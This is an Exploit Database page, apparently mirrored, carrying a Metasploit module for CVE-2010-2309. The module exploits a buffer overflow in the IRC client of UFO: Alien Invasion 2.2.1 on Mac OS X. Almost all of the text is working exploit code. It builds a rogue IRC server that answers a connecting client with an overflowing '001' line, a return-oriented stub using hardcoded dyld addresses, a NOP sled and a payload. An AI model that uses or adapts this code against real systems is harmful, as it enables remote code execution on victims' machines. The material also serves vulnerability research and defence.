UFO: Alien Invasion IRC Client (OSX) – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • remote
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/16864/

• ##
  # $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the IRC client component
  				of UFO: Alien Invasion 2.2.1.
  			},
  			'Author' =>
  				[
  					'Jason Geffner',# Original Windows PoC Author
  					'dookie'# OSX Exploit Author
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10617 $',
  			'References' =>
  				[
  					[ 'CVE', '2010-2309' ],
  					[ 'OSVDB', '65689' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
  				],
  			'Payload' =>
  				{
  					'Space' => 400,
  					'BadChars' => "\x00\x0a\x0d",
  					'MaxNops' => 0,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'osx',
  			'Targets' =>
  				[
  					[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
  						{
  							'Arch' => ARCH_X86,
  							'Offset' => 524,
  							'Writable' => 0x8fe66448,# dyld __IMPORT
  							# The rest of these addresses are in dyld __TEXT
  							'setjmp' => 0x8fe1cf38,
  							'strdup' => 0x8fe210dc,
  							'jmp_eax' => 0x8fe01041
  						}
  					]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 28 2009'))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
  			], self.class)
  	end
  
  
  	def make_exec_payload_from_heap_stub()
  		frag0 =
  			"\x90" + # nop
  			"\x58" + # pop eax
  			"\x61" + # popa
  			"\xc3" # ret
  
  		frag1 =
  			"\x90" + # nop
  			"\x58" + # pop eax
  			"\x89\xe0" + # mov eax, esp
  			"\x83\xc0\x0c" + # add eax, byte +0xc
  			"\x89\x44\x24\x08" + # mov [esp+0x8], eax
  			"\xc3" # ret
  
  		setjmp = target['setjmp']
  		writable = target['Writable']
  		strdup = target['strdup']
  		jmp_eax = target['jmp_eax']
  
  		exec_payload_from_heap_stub =
  			frag0 +
  			[setjmp].pack('V') +
  			[writable + 32, writable].pack("V2") +
  			frag1 +
  			"X" * 20 +
  			[setjmp].pack('V') +
  			[writable + 24, writable, strdup, jmp_eax].pack("V4") +
  			"X" * 4
  	end
  
  
  	def on_client_connect(client)
  
  		print_status("Got client connection...")
  
  		offset = target['Offset']
  
  		buffer = "001 :"
  		buffer << rand_text_alpha_upper(offset)
  		buffer << make_exec_payload_from_heap_stub()
  		buffer << make_nops(16)
  		buffer << payload.encoded
  		buffer << "\x0d\x0a"
  
  		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
  		client.put(buffer)
  
  	end
  
  end